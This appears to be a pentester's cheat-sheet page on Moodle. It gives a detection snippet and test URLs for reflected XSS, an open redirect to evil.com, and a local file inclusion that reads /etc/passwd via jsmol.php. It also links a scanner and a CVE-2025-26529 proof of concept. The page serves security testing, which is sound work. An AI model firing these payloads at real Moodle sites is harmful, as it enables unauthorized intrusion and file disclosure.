# Moodle

## Detection

Source code&#x20;

```
<meta name="keywords" content="moodle,
```

## Tests

1. Reflected XSS in /mod/lti/auth.php via "redirect\_url" parameter

```
https://target.com/mod/lti/auth.php?redirect_uri=javascript:alert(1)
```

2. Open redirect in /mod/lti/auth.php in "redirect\_url" parameter

```
https://target.com/mod/lti/auth.php?redirect_uri=https://evil.com
```

3. LFI /filter/jmol/js/jsmol/php/jsmol.php in "query" parameter

```
https://target.com/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd
```

## Moodle Scanner

{% embed url="<https://github.com/LuemmelSec/Moodle-Scanner?s=03>" %}

## CVE-2025-26529

SSRF to XSS - XSS to RCE Moodle

{% embed url="<https://github.com/Astroo18/PoC-CVE-2025-26529>" %}

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
